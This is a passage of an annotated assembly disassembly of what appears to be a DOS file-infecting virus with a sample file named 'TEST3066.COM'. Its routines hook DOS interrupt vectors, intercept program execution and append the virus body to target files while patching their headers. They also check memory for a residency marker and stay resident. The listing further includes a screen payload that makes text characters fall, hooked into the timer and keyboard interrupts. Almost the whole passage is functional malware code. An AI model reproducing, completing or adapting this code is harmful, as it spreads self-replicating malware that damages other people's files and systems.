mov word ptr ds:[880h][si],ax ; (6FB8:0880=687h)
|
|
mov word ptr ds:[882h][si],dx ; (6FB8:0882=90h)
|
|
mov cx,[di+4]
|
|
shl cx,1 ; Shift w/zeros fill
|
|
xchg ch,cl
|
|
mov bp,cx
|
|
and bp,0FF00h
|
|
xor ch,ch ; Zero register
|
|
add bp,[di+6]
|
|
adc cx,0
|
|
sub bp,ax
|
|
sbb cx,dx
|
|
jc loc_ret_44 ; Jump if carry Set
|
|
push ax
|
|
push dx
|
|
push word ptr [di+18h]
|
|
mov byte ptr [di+18h],0FFh
|
|
mov cx,5
|
|
mov ah,40h ; '@'
|
|
mov dx,di
|
|
add dx,14h
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
pop word ptr [di+18h]
|
|
mov dx,si
|
|
add dx,5
|
|
mov cx,0BF5h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
pop word ptr [di+16h]
|
|
pop word ptr [di+14h]
|
|
add word ptr [di+14h],0FAh
|
|
adc word ptr [di+16h],0
|
|
mov ax,[di+8]
|
|
call sub_8 ; (0751)
|
|
sub [di+14h],ax
|
|
sbb [di+16h],dx
|
|
mov cl,0Ch
|
|
shl word ptr [di+16h],cl ; Shift w/zeros fill
|
|
mov ax,0BFAh
|
|
add ax,[di+2]
|
|
mov [di+2],ax
|
|
and word ptr [di+2],1FFh
|
|
mov al,ah
|
|
xor ah,ah ; Zero register
|
|
shr ax,1 ; Shift w/zeros fill
|
|
add [di+4],ax
|
|
mov dx,di
|
|
mov cx,1Ch
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
clc ; Clear carry flag
|
|
retn
|
|
sub_6 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0684, 0721
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_8 proc near
|
|
xor dx,dx ; Zero register
|
|
shl ax,1 ; Shift w/zeros fill
|
|
rcl dx,1 ; Rotate thru carry
|
|
shl ax,1 ; Shift w/zeros fill
|
|
rcl dx,1 ; Rotate thru carry
|
|
shl ax,1 ; Shift w/zeros fill
|
|
rcl dx,1 ; Rotate thru carry
|
|
shl ax,1 ; Shift w/zeros fill
|
|
rcl dx,1 ; Rotate thru carry
|
|
retn
|
|
sub_8 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:05E0, 060F, 06BC
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_9 proc near
|
|
xor dx,dx ; Zero register
|
|
xor cx,cx ; Zero register
|
|
mov ax,4202h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
retn
|
|
sub_9 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0263, 04B2
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_10 proc near
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
lds di,dword ptr ds:data_11e ; (0000:009C=10BCh) Load 32 bit ptr
|
|
lds di,dword ptr [di+1] ; Load 32 bit ptr
|
|
mov ax,di
|
|
sub di,75Fh
|
|
call sub_11 ; (07AB)
|
|
jz loc_ret_47 ; Jump if zero
|
|
mov di,ax
|
|
sub di,755h
|
|
call sub_11 ; (07AB)
|
|
jz loc_ret_47 ; Jump if zero
|
|
lds di,dword ptr ds:data_27e ; (00AE:0080=4EFFh) Load 32 bit ptr
|
|
lds di,dword ptr [di+1] ; Load 32 bit ptr
|
|
mov ax,di
|
|
sub di,676h
|
|
call sub_11 ; (07AB)
|
|
jz loc_ret_47 ; Jump if zero
|
|
mov di,ax
|
|
sub di,673h
|
|
call sub_11 ; (07AB)
|
|
|
|
loc_ret_47: ; xref 6FB8:0782, 078D, 079F
|
|
retn
|
|
sub_10 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:077F, 078A, 079C, 07A7
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_11 proc near
|
|
xor dx,dx ; Zero register
|
|
cmp word ptr [di],4756h
|
|
jne loc_48 ; Jump if not equal
|
|
cmp byte ptr [di+2],31h ; '1'
|
|
je loc_49 ; Jump if equal
|
|
loc_48: ; xref 6FB8:07B1
|
|
inc dx
|
|
loc_49: ; xref 6FB8:07B7
|
|
sub di,0F7h
|
|
or dx,dx ; Zero ?
|
|
retn
|
|
sub_11 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:07DE, 07E4, 07EA, 07F0, 0864, 086A, 0870
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_12 proc near
|
|
mov al,0EAh
|
|
stosb ; Store al to es:[di]
|
|
mov ax,cx
|
|
add ax,si
|
|
stosw ; Store ax to es:[di]
|
|
mov ax,cs
|
|
stosw ; Store ax to es:[di]
|
|
|
|
loc_ret_50: ; xref 6FB8:07CF
|
|
retn
|
|
sub_12 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:04F4
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_13 proc near
|
|
or dx,dx ; Zero ?
|
|
jz loc_ret_50 ; Jump if zero
|
|
push ds
|
|
push es
|
|
mov es,ds:data_39e[si] ; (6FB8:00E0=0)
|
|
mov di,data_46e ; (6FB8:00EC=0)
|
|
cld ; Clear direction
|
|
mov cx,9A8h
|
|
call sub_12 ; (07C1)
|
|
mov cx,76Ah
|
|
call sub_12 ; (07C1)
|
|
mov cx,7BEh
|
|
call sub_12 ; (07C1)
|
|
mov cx,84Ch
|
|
call sub_12 ; (07C1)
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
cli ; Disable interrupts
|
|
mov ax,0ECh
|
|
xchg ax,ds:data_3e ; (0000:0070=0FF53h)
|
|
mov word ptr cs:[0A88h][si],ax ; (6FB8:0A88=49A0h)
|
|
mov ax,es
|
|
xchg ax,ds:data_4e ; (0000:0072=0F000h)
|
|
mov word ptr cs:[0A8Ah][si],ax ; (6FB8:0A8A=0B904h)
|
|
mov ax,0F1h
|
|
xchg ax,ds:data_5e ; (0000:0080=1094h)
|
|
mov word ptr cs:[76Eh][si],ax ; (6FB8:076E=0C033h)
|
|
mov ax,es
|
|
xchg ax,ds:data_6e ; (0000:0082=123h)
|
|
mov word ptr cs:[770h][si],ax ; (6FB8:0770=0D88Eh)
|
|
mov ax,0F6h
|
|
xchg ax,ds:data_7e ; (0000:0084=109Eh)
|
|
mov word ptr cs:[7DCh][si],ax ; (6FB8:07DC=9A8h)
|
|
mov ax,es
|
|
xchg ax,ds:data_8e ; (0000:0086=123h)
|
|
mov word ptr cs:[7DEh][si],ax ; (6FB8:07DE=0E0E8h)
|
|
mov ax,0FBh
|
|
xchg ax,ds:data_11e ; (0000:009C=10BCh)
|
|
mov word ptr cs:[857h][si],ax ; (6FB8:0857=6C3h)
|
|
mov ax,es
|
|
xchg ax,word ptr ds:data_11e+2 ; (0000:009E=123h)
|
|
mov word ptr cs:[859h][si],ax ; (6FB8:0859=848Eh)
|
|
pop es
|
|
pop ds
|
|
sti ; Enable interrupts
|
|
retn
|
|
sub_13 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:08F2
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_14 proc near
|
|
push es
|
|
mov es,word ptr ds:[0E0h][si] ; (0000:00E0=10DAh)
|
|
mov di,data_21e ; (0000:00F1=10h)
|
|
cld ; Clear direction
|
|
mov cx,76Dh
|
|
call sub_12 ; (07C1)
|
|
mov cx,7E0h
|
|
call sub_12 ; (07C1)
|
|
mov cx,856h
|
|
call sub_12 ; (07C1)
|
|
pop es
|
|
retn
|
|
sub_14 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:024A, 0938
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_15 proc near
|
|
push es
|
|
xor ax,ax ; Zero register
|
|
mov es,ax
|
|
mov ax,85Bh
|
|
add ax,si
|
|
xchg ax,es:data_9e ; (0000:0090=156h)
|
|
mov ds:data_18e[si],ax ; (0000:00EA=123h)
|
|
mov ax,cs
|
|
xchg ax,es:data_10e ; (0000:0092=44Bh)
|
|
mov ds:data_19e[si],ax ; (0000:00EC=10DAh)
|
|
pop es
|
|
mov byte ptr ds:data_20e[si],0 ; (0000:00EE=23h)
|
|
retn
|
|
sub_15 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0499, 0981
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_16 proc near
|
|
push es
|
|
xor ax,ax ; Zero register
|
|
mov es,ax
|
|
mov ax,cs:data_45e[si] ; (6FB8:00EA=0)
|
|
mov es:data_9e,ax ; (0000:0090=156h)
|
|
mov ax,cs:data_46e[si] ; (6FB8:00EC=0)
|
|
mov es:data_10e,ax ; (0000:0092=44Bh)
|
|
pop es
|
|
retn
|
|
sub_16 endp
|
|
|
|
jmp short loc_53 ; (08EA)
|
|
nop
|
|
;* jmp far ptr loc_2 ;*(029B:136C)
|
|
db 0EAh, 6Ch, 13h, 9Bh, 02h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0247, 08CB, 08EC, 0935
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_17 proc near
|
|
pop bx
|
|
push ds
|
|
push ax
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
call sub_18 ; (08C4)
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
;
|
|
; Called from: 6FB8:08C1
|
|
|
|
sub_18:
|
|
pop si
|
|
sub si,77Bh
|
|
jmp bx ;*Register jump
|
|
loc_51: ; xref 6FB8:0918, 091D
|
|
call sub_17 ; (08BB)
|
|
push cx
|
|
mov ax,[si+7]
|
|
mov cx,es
|
|
cmp ax,cx
|
|
pop cx
|
|
pop ds
|
|
pop ax
|
|
jnz loc_52 ; Jump if not zero
|
|
push cs
|
|
pop es
|
|
cmp ah,49h ; 'I'
|
|
je loc_52 ; Jump if equal
|
|
add bx,1D0h
|
|
loc_52: ; xref 6FB8:08D9, 08E0
|
|
pop ds
|
|
jmp short loc_55 ; (0924)
|
|
db 90h
|
|
loc_53: ; xref 6FB8:08B3, 090A, 0913
|
|
xor dx,dx ; Zero register
|
|
loc_54: ; xref 6FB8:090F
|
|
call sub_17 ; (08BB)
|
|
push es
|
|
push dx
|
|
cli ; Disable interrupts
|
|
call sub_14 ; (0858)
|
|
sti ; Enable interrupts
|
|
pop ax
|
|
mov dx,1D0h
|
|
add dx,ax
|
|
add dx,10h
|
|
pop es
|
|
pop ds
|
|
pop ax
|
|
pop ds
|
|
mov ah,31h ; '1'
|
|
jmp short loc_55 ; (0924)
|
|
cmp ah,4Ch ; 'L'
|
|
je loc_53 ; Jump if equal
|
|
cmp ah,31h ; '1'
|
|
je loc_54 ; Jump if equal
|
|
or ah,ah ; Zero ?
|
|
jz loc_53 ; Jump if zero
|
|
cmp ah,49h ; 'I'
|
|
je loc_51 ; Jump if equal
|
|
cmp ah,4Ah ; 'J'
|
|
je loc_51 ; Jump if equal
|
|
cmp ah,4Bh ; 'K'
|
|
je loc_56 ; Jump if equal
|
|
loc_55: ; xref 6FB8:08E7, 0905, 0993
|
|
;* jmp far ptr loc_4 ;*(0E4C:035D)
|
|
db 0EAh, 5Dh, 03h, 4Ch, 0Eh
|
|
db 80h,0FCh, 4Bh, 75h,0F6h
|
|
loc_56: ; xref 6FB8:0922
|
|
push cx
|
|
push dx
|
|
push es
|
|
push bx
|
|
push si
|
|
push di
|
|
push bp
|
|
call sub_17 ; (08BB)
|
|
call sub_15 ; (0875)
|
|
loc_57: ; xref 6FB8:0941, 0949
|
|
sti ; Enable interrupts
|
|
test byte ptr ds:data_26e,2 ; (0000:0972=74h)
|
|
jnz loc_57 ; Jump if not zero
|
|
cli ; Disable interrupts
|
|
test byte ptr ds:data_26e,2 ; (0000:0972=74h)
|
|
jnz loc_57 ; Jump if not zero
|
|
or byte ptr ds:data_26e,2 ; (0000:0972=74h)
|
|
pop ds
|
|
mov bx,dx
|
|
mov byte ptr cs:data_40e[si],0FFh ; (6FB8:00E2=0)
|
|
cmp byte ptr [bx+1],3Ah ; ':'
|
|
jne loc_58 ; Jump if not equal
|
|
mov al,[bx]
|
|
or al,20h ; ' '
|
|
sub al,61h ; 'a'
|
|
mov cs:data_40e[si],al ; (6FB8:00E2=0)
|
|
loc_58: ; xref 6FB8:095D
|
|
push si
|
|
push di
|
|
push es
|
|
cld ; Clear direction
|
|
mov si,dx
|
|
push cs
|
|
pop es
|
|
mov di,offset ds:[984h] ; (6FB8:0984=2Eh)
|
|
loc_59: ; xref 6FB8:0979
|
|
lodsb ; String [si] to al
|
|
stosb ; Store al to es:[di]
|
|
or al,al ; Zero ?
|
|
jnz loc_59 ; Jump if not zero
|
|
pop es
|
|
pop di
|
|
pop si
|
|
call sub_5 ; (056E)
|
|
call sub_16 ; (089A)
|
|
and byte ptr cs:[972h],0FDh ; (6FB8:0972=0BFh)
|
|
pop ax
|
|
pop ds
|
|
pop bp
|
|
pop di
|
|
pop si
|
|
pop bx
|
|
pop es
|
|
pop dx
|
|
pop cx
|
|
jmp short loc_55 ; (0924)
|
|
sub_17 endp
|
|
|
|
db 83h,0C2h, 0Fh,0B1h, 04h,0D3h
|
|
db 0EAh,0E9h, 4Dh,0FFh,0EAh,0FEh
|
|
db 5Dh, 9Bh, 02h, 56h,0E8h, 00h
|
|
db 00h, 5Eh, 81h,0EEh, 5Fh, 08h
|
|
db 2Eh, 80h, 8Ch,0EEh, 00h, 01h
|
|
db 5Eh, 32h,0C0h,0CFh, 01h, 00h
|
|
db 00h, 00h, 8Ah, 00h, 00h, 00h
|
|
db 00h, 5Fh,0FEh, 00h, 00h, 00h
|
|
db 00h,0B8h, 00h, 00h, 49h, 00h
|
|
db 00h, 00h
|
|
db 'A:\TEST3066.COM'
|
|
|
|
|
|
db 00h, 00h, 00h, 45h, 58h, 45h
|
|
db 00h, 45h, 00h
|
|
db 143 dup (0)
|
|
loc_60: ; xref 6FB8:0AEF
|
|
push cx
|
|
push ds
|
|
push es
|
|
push si
|
|
push di
|
|
push cs
|
|
pop es
|
|
cld ; Clear direction
|
|
test al,20h ; ' '
|
|
jz loc_63 ; Jump if zero
|
|
test al,2
|
|
jnz loc_64 ; Jump if not zero
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
mov al,ds:data_25e ; (0000:0449=3)
|
|
mov cx,0B800h
|
|
cmp al,7
|
|
jne loc_61 ; Jump if not equal
|
|
mov cx,0B000h
|
|
jmp short loc_62 ; (0A9F)
|
|
loc_61: ; xref 6FB8:0A90
|
|
cmp al,2
|
|
je loc_62 ; Jump if equal
|
|
cmp al,3
|
|
jne loc_64 ; Jump if not equal
|
|
loc_62: ; xref 6FB8:0A95, 0A99
|
|
mov word ptr cs:[97Ch],cx ; (6FB8:097C=5E5Fh)
|
|
or byte ptr cs:[972h],2 ; (6FB8:0972=0BFh)
|
|
mov word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h)
|
|
mov ds,cx
|
|
mov cx,7D0h
|
|
xor si,si ; Zero register
|
|
mov di,offset ds:[0CF5h] ; (6FB8:0CF5=0BEh)
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
mov ax,0B92h
|
|
xchg ax,ds:data_1e ; (0000:0024=45h)
|
|
mov word ptr cs:[973h],ax ; (6FB8:0973=984h)
|
|
mov ax,cs
|
|
xchg ax,ds:data_2e ; (0000:0026=3D1h)
|
|
mov word ptr cs:[975h],ax ; (6FB8:0975=0AAACh)
|
|
loc_63: ; xref 6FB8:0A7E
|
|
mov cx,50h
|
|
mov ax,0F00h
|
|
mov di,offset data_54 ; (6FB8:0105=9)
|
|
rep stosw ; Rep when cx >0 Store ax to es:[di]
|
|
and byte ptr cs:[972h],7 ; (6FB8:0972=0BFh)
|
|
loc_64: ; xref 6FB8:0A82, 0A9D
|
|
pop di
|
|
pop si
|
|
pop es
|
|
pop ds
|
|
pop cx
|
|
jmp loc_76 ; (0BCF)
|
|
loc_65: ; xref 6FB8:0AFE
|
|
jmp short loc_60 ; (0A74)
|
|
push ax
|
|
mov byte ptr cs:[979h],0 ; (6FB8:0979=75h)
|
|
mov al,byte ptr cs:[972h] ; (6FB8:0972=0BFh)
|
|
test al,60h ; '`'
|
|
jnz loc_65 ; Jump if not zero
|
|
test al,80h
|
|
jz loc_68 ; Jump if zero
|
|
cmp word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h)
|
|
je loc_66 ; Jump if equal
|
|
inc word ptr cs:[97Eh] ; (6FB8:097E=0EDE8h)
|
|
cmp word ptr cs:[97Eh],444h ; (6FB8:097E=0EDE8h)
|
|
jl loc_66 ; Jump if <
|
|
call sub_19 ; (0C25)
|
|
jmp loc_76 ; (0BCF)
|
|
loc_66: ; xref 6FB8:0B0A, 0B18
|
|
test al,18h
|
|
jz loc_67 ; Jump if zero
|
|
dec word ptr cs:[977h] ; (6FB8:0977=0C00Ah)
|
|
jnz loc_67 ; Jump if not zero
|
|
and byte ptr cs:[972h],0E7h ; (6FB8:0972=0BFh)
|
|
or byte ptr cs:[972h],40h ; (6FB8:0972=0BFh) '@'
|
|
test al,8
|
|
jz loc_67 ; Jump if zero
|
|
or byte ptr cs:[972h],20h ; (6FB8:0972=0BFh) ' '
|
|
loc_67: ; xref 6FB8:0B22, 0B29, 0B39, 0B4C
|
|
jmp loc_76 ; (0BCF)
|
|
loc_68: ; xref 6FB8:0B02
|
|
xor byte ptr cs:[972h],1 ; (6FB8:0972=0BFh)
|
|
test al,1
|
|
jz loc_67 ; Jump if zero
|
|
push bx
|
|
push si
|
|
push ds
|
|
mov ds,word ptr cs:[97Ch] ; (6FB8:097C=5E5Fh)
|
|
xor si,si ; Zero register
|
|
mov byte ptr cs:[96Eh],0 ; (6FB8:096E=8Bh)
|
|
loc_69: ; xref 6FB8:0BB5
|
|
mov bx,cs:data_54[si] ; (6FB8:0105=0CD09h)
|
|
or bx,bx ; Zero ?
|
|
jz loc_70 ; Jump if zero
|
|
cmp byte ptr [bx+si],20h ; ' '
|
|
jne loc_70 ; Jump if not equal
|
|
cmp byte ptr ds:data_31e[bx+si],20h ; (5E5F:FF60=0FFh) ' '
|
|
je loc_70 ; Jump if equal
|
|
mov ax,720h
|
|
xchg ax,ds:data_31e[bx+si] ; (5E5F:FF60=0FFFFh)
|
|
mov [bx+si],ax
|
|
add bx,0A0h
|
|
loc_70: ; xref 6FB8:0B65, 0B6A, 0B71
|
|
cmp bx,data_30e ; (5E5F:0FA0=0FFh)
|
|
je loc_71 ; Jump if equal
|
|
cmp byte ptr [bx+si],20h ; ' '
|
|
jne loc_71 ; Jump if not equal
|
|
jnz loc_74 ; Jump if not zero
|
|
loc_71: ; xref 6FB8:0B84, 0B89
|
|
mov bx,data_29e ; (5E5F:0F00=0FFh)
|
|
loc_72: ; xref 6FB8:0BA2
|
|
cmp byte ptr [bx+si],20h ; ' '
|
|
jne loc_73 ; Jump if not equal
|
|
cmp byte ptr ds:data_31e[bx+si],20h ; (5E5F:FF60=0FFh) ' '
|
|
jne loc_74 ; Jump if not equal
|
|
loc_73: ; xref 6FB8:0B93
|
|
sub bx,0A0h
|
|
or bx,bx ; Zero ?
|
|
jnz loc_72 ; Jump if not zero
|
|
loc_74: ; xref 6FB8:0B8B, 0B9A
|
|
mov cs:data_54[si],bx ; (6FB8:0105=0CD09h)
|
|
or word ptr cs:[96Eh],bx ; (6FB8:096E=0F28Bh)
|
|
add si,2
|
|
cmp si,0A0h
|
|
jne loc_69 ; Jump if not equal
|
|
cmp byte ptr cs:[96Eh],0 ; (6FB8:096E=8Bh)
|
|
jne loc_75 ; Jump if not equal
|
|
or byte ptr cs:[972h],80h ; (6FB8:0972=0BFh)
|
|
mov word ptr cs:[97Eh],1 ; (6FB8:097E=0EDE8h)
|
|
loc_75: ; xref 6FB8:0BBD
|
|
pop ds
|
|
pop si
|
|
pop bx
|
|
loc_76: ; xref 6FB8:0AEC, 0B1D, 0B41
|
|
pop ax
|
|
;* jmp far ptr loc_90 ;*(FC00:3F4D)
|
|
db 0EAh, 4Dh, 3Fh, 00h,0FCh
|
|
loc_77: ; xref 6FB8:0C32
|
|
mov al,20h ; ' '
|
|
out 20h,al ; port 20h, 8259-1 int command
|
|
; al = 20h, end of interrupt
|
|
pop ax
|
|
iret ; Interrupt return
|
|
db 50h,0E4h, 60h, 2Eh,0A2h, 7Ah
|
|
db 09h,0E4h, 61h, 8Ah,0E0h, 0Ch
|
|
db 80h,0E6h, 61h, 8Ah,0C4h,0E6h
|
|
db 61h, 2Eh, 80h, 3Eh, 79h, 09h
|
|
db 00h, 2Eh,0C6h, 06h, 79h, 09h
|
|
db 01h, 75h,0D9h, 2Eh,0A0h, 7Ah
|
|
db 09h, 3Ch,0F0h, 74h,0D1h, 24h
|
|
db 7Fh, 2Eh, 3Ah, 06h, 7Bh, 09h
|
|
db 2Eh,0A2h, 7Bh, 09h, 74h,0C4h
|
|
db 2Eh, 83h, 3Eh, 7Eh, 09h, 00h
|
|
db 74h, 07h, 2Eh,0C7h, 06h, 7Eh
|
|
db 09h, 01h, 00h,0E8h, 02h, 00h
|
|
db 0EBh,0B0h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:0B1A
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_19 proc near
|
|
mov word ptr cs:[977h],28h ; (6FB8:0977=0C00Ah)
|
|
test byte ptr cs:[972h],80h ; (6FB8:0972=0BFh)
|
|
jz loc_77 ; Jump if zero
|
|
mov byte ptr cs:[970h],1 ; (6FB8:0970=0Eh)
|
|
push bx
|
|
push si
|
|
push ds
|
|
mov ds,word ptr cs:[97Ch] ; (6FB8:097C=5E5Fh)
|
|
test byte ptr cs:[972h],10h ; (6FB8:0972=0BFh)
|
|
jnz loc_81 ; Jump if not zero
|
|
or byte ptr cs:[972h],10h ; (6FB8:0972=0BFh)
|
|
xor si,si ; Zero register
|
|
loc_78: ; xref 6FB8:0C77
|
|
mov bx,data_29e ; (5E5F:0F00=0FFh)
|
|
loc_79: ; xref 6FB8:0C5E
|
|
cmp byte ptr [bx+si],20h ; ' '
|
|
je loc_80 ; Jump if equal
|
|
sub bx,0A0h
|
|
jnc loc_79 ; Jump if carry=0
|
|
mov bx,0F00h
|
|
loc_80: ; xref 6FB8:0C58
|
|
add bx,data_28e ; (5E5F:00A0=0FFh)
|
|
mov cs:data_54[si],bx ; (6FB8:0105=0CD09h)
|
|
mov word ptr cs:[980h][si],bx ; (6FB8:0980=0E8FBh)
|
|
inc si
|
|
inc si
|
|
cmp si,data_37e ; (6FB8:00A0=0)
|
|
jne loc_78 ; Jump if not equal
|
|
loc_81: ; xref 6FB8:0C48
|
|
xor si,si ; Zero register
|
|
loc_82: ; xref 6FB8:0CE4
|
|
cmp cs:data_54[si],0FA0h ; (6FB8:0105=0CD09h)
|
|
je loc_88 ; Jump if equal
|
|
mov bx,word ptr cs:[980h][si] ; (6FB8:0980=0E8FBh)
|
|
mov ax,[bx+si]
|
|
cmp ax,word ptr cs:[0CF5h][bx+si] ; (6FB8:0CF5=0F5BEh)
|
|
jne loc_84 ; Jump if not equal
|
|
push bx
|
|
loc_83: ; xref 6FB8:0CA0, 0CA4
|
|
or bx,bx ; Zero ?
|
|
jz loc_86 ; Jump if zero
|
|
sub bx,0A0h
|
|
cmp ax,word ptr cs:[0CF5h][bx+si] ; (6FB8:0CF5=0F5BEh)
|
|
jne loc_83 ; Jump if not equal
|
|
cmp ax,[bx+si]
|
|
je loc_83 ; Jump if equal
|
|
pop bx
|
|
loc_84: ; xref 6FB8:0C90
|
|
or bx,bx ; Zero ?
|
|
jnz loc_85 ; Jump if not zero
|
|
mov word ptr [si],720h
|
|
jmp short loc_87 ; (0CCB)
|
|
loc_85: ; xref 6FB8:0CA9
|
|
mov ax,[bx+si]
|
|
mov ds:data_31e[bx+si],ax ; (5E5F:FF60=0FFFFh)
|
|
mov word ptr [bx+si],720h
|
|
sub word ptr cs:[980h][si],0A0h ; (6FB8:0980=0E8FBh)
|
|
mov byte ptr cs:[970h],0 ; (6FB8:0970=0Eh)
|
|
jmp short loc_88 ; (0CDE)
|
|
loc_86: ; xref 6FB8:0C95
|
|
pop bx
|
|
loc_87: ; xref 6FB8:0CAF
|
|
mov bx,cs:data_54[si] ; (6FB8:0105=0CD09h)
|
|
